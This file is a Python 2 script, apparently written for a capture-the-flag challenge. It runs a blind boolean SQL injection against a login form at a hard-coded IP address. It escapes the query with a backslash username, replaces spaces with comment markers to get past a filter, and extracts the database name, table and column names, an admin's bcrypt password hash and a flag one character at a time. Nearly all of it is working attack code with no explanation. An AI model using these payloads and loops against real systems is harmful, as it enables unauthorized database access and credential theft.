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#! /usr/bin/env python2

import requests as req, string, re, commands

db_len = 7
# db_name = 'loginv3'
db_name = ''
admin_password_len = 60
table_in_db = 3
table_name_len_1 = 4
table_name_len_2 = 5
table_name = 'fl4g'
columns_in_table = 5
col_1_len = 2
col_2_len = 4
col_3_len = 8
col_4_len = 8
col_5_len = 4
col_1 = 'flag'
col_2 = 'name'
col_3 = 'username'
col_4 = 'password'
col_5 = 'admin'
total_rows = 1  # :|
id = '1'
name = 'admin'
username = 'admin'
password = '$2y$10$KpEcR/n54ZlX1OeKiLKwY.AfWXSXjUzL.Fk0CVtzsfYpYizThN3Qq'
admin = '1'
custom_string_printable = [ord(i) for i in string.printable]

class pass_empty(object):
    pass

def encode_payload_with_space(payload):
    if ' ' in payload:
        payload = payload.replace(' ', '/**/')
    return payload

def send_dirty_payload(payload):
    resp = req.post('http://45.77.241.3/Loginv3/login.php',
                    data={'username': '\\',
                          'pass': encode_payload_with_space(payload)}).content
    return resp

def len_with_expression(list):
    length = []
    i = 1
    for k, v in enumerate(list):
        v = str(v)
        if '0' in v:
            if re.findall(r'^\d{3}$', v):
                if '10' in str(i):
                    length.append('{} + {}'.format(99, '9 + 1'))
                else:
                    length.append('{} + {}'.format(99, i))
                i += 1
            else:
                length.append('{} - 1'.format(str(int(v) + 1)))
            continue
        length.append(v)
    return length

"""
    Check db length
"""
# for k, v in enumerate(len_with_expression(xrange(100))):
#     payload = 'or length(database())={}#'.format(v)
#     if 'logged user' in send_dirty_payload(payload):
#         print k, 'logged user'
#         print '{}\ndb len: {}'.format('-' * 20, k)
#         break
#     print k, 'incorrect'

"""
    Get db name
"""
# for i in xrange(1, db_len + 1):
#     for k, v in enumerate(len_with_expression(custom_string_printable)):
#         payload = 'or ascii(mid(database(),{},1))={}#'.format(i, v)
#         if 'logged user' in send_dirty_payload(payload):
#             db_name += chr(eval(v))
#             print chr(eval(v)), 'logged user'
#             print '{}\ndb name: {}'.format('-' * 20, db_name)
#             break
#         # print payload
#         print chr(eval(v)), 'incorrect'

"""
    Check admin's password length
"""
# for k, v in enumerate(len_with_expression(xrange(100))):
#     payload = 'or length((select password from users limit 1))={}#'.format(v)
#     if 'logged user' in send_dirty_payload(payload):
#         print k, 'logged user'
#         print '{}\nadmin\'s password len: {}'.format('-' * 20, k)
#         break
#     print k, 'incorrect'

"""
    Get admin's password
"""
# list_admin_password_len = [i for i in xrange(1, admin_password_len + 1)]
# for i in len_with_expression(list_admin_password_len):
#     for k, v in enumerate(len_with_expression(custom_string_printable)):
#         payload = 'or ascii(mid((select password from users limit 1),{},1))={}#'.format(i, v)
#         if 'User exist' in send_dirty_payload(payload):
#             db_name += chr(eval(v))
#             print chr(eval(v)), send_dirty_payload(payload)
#             print '{}\nadmin\'s password: {}'.format('-' * 20, db_name)
#             break
#         # print payload
#         print v, chr(eval(v)), send_dirty_payload(payload)

"""
    Count tables in db 'ctf'
"""
# for k, v in enumerate(len_with_expression(xrange(100))):
#     payload = 'or (select count(table_name) from information_schema.tables where table_schema=database())={}#'.format(v)
#     if 'logged user' in send_dirty_payload(payload):
#         print k, 'logged user'
#         print '{}\ntotal tables in \'ctf\': {}'.format('-' * 20, k)
#         break
#     print k, 'incorrect'

"""
    Check table_name's length
"""
# for k, v in enumerate(len_with_expression(xrange(100))):
#     payload = 'or length((select table_name from information_schema.tables where table_schema=database() limit 1,1))={}#'.format(
#         v)
#     if 'logged user' in send_dirty_payload(payload):
#         print k, 'logged user'
#         print '{}\ntable_name\'s length: {}'.format('-' * 20, k)
#         break
#     # print payload
#     print k, 'incorrect'

"""
    List table in db 'ctf' (fix)
# """
# list_table_name_1_len = [i for i in xrange(1, table_name_len_1 + 1)]
# for i in len_with_expression(list_table_name_1_len):
#     for k, v in enumerate(len_with_expression(custom_string_printable)):
#         payload = 'or ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1),{},1))={}#'.format(
#             i, v)
#         if 'logged user' in send_dirty_payload(payload):
#             db_name += chr(eval(v))
#             print chr(eval(v)), 'logged user'
#             print '{}\ntable_name: {}'.format('-' * 20, db_name)
#             break
#         # print payload
#         print chr(eval(v)), 'incorrect'

"""
    Count columns in db 'ctf'
"""
# for k, v in enumerate(len_with_expression(xrange(1, 100))):
#     payload = 'or (select count(column_name) from information_schema.columns where table_schema=database() limit 1)={}#'.format(
#         v)
#     if 'logged user' in send_dirty_payload(payload):
#         print v, 'logged user'
#         print '{}\ntotal tables in \'ctf\': {}'.format('-' * 20, v)
#         break
#     print v, 'incorrect'

"""
    Check column_name's length
"""
# list_columns_in_table = [i for i in xrange(1, table_name_len_1)]
# for k, v in enumerate(len_with_expression(xrange(1, 100 + 1))):
#     payload = 'or length((select * from (select column_name from information_schema.columns where table_schema=database() limit 1)x limit 1))={}#'.format(
#         v)
#     if 'logged user' in send_dirty_payload(payload):
#         print v, 'logged user'
#         print '{}\ncolumn {}\'s name length: {}'.format('-' * 20, k, v)
#         break
#     print v, 'incorrect'
# for i in len_with_expression(list_columns_in_table):
#     for k, v in enumerate(len_with_expression(xrange(1, 100 + 1))):
#         payload = 'or length((select column_name from information_schema.columns where table_schema=database() limit {},1))={}#'.format(
#             i, v)
#         if 'User exist' in send_dirty_payload(payload):
#             print v, 'logged user'
#             print '{}\ncolumn {}\'s name length: {}'.format('-' * 20, int(i) + 1, v)
#             break
#         # print payload
#         print v, 'incorrect'

"""
    Get col name
"""
# for i in xrange(1, 100 + 1):
#     for k, v in enumerate(len_with_expression(custom_string_printable)):
#         payload = 'or ascii(mid((select column_name from information_schema.columns where table_schema=database() limit 1,1),{},1))={}#'.format(
#             i, v)
#         if 'logged user' in send_dirty_payload(payload):
#             db_name += chr(eval(v))
#             print chr(eval(v)), 'logged user'
#             print '{}\ncol name: {}'.format('-' * 20, db_name)
#             break
#         # print payload
#         print chr(eval(v)), 'incorrect'

"""
    Count id rows
"""
# for k, v in enumerate(len_with_expression(xrange(1, 101))):
#     payload = 'or (select count(pass) from fl4g)={}#'.format(
#         v)
#     if 'logged user' in send_dirty_payload(payload):
#         print v, 'logged user'
#         print '{}\ntotal rows in \'users\': {}'.format('-' * 20, v)
#         break
#     print v, 'incorrect'

"""
    Dump 1 row :|
"""
for i in xrange(2640, 2700): # position() mysql
    for k, v in enumerate(len_with_expression(custom_string_printable)):
        payload = 'or ascii(mid((select flag from fl4g),{},1))={}#'.format(
            i, v)
        if 'logged user' in send_dirty_payload(payload):
            db_name += chr(eval(v))
            print chr(eval(v)), 'logged user'
            print '{}\nflag: {}'.format('-' * 20, db_name)
            break
        # print payload
        print chr(eval(v)), 'incorrect'

"""
    dbg
"""
# for k, v in enumerate(len_with_expression(custom_string_printable)):
#     print v, eval(v)

# test = [i for i in xrange(1, admin_password_len + 1)]
# print len_with_expression(test)

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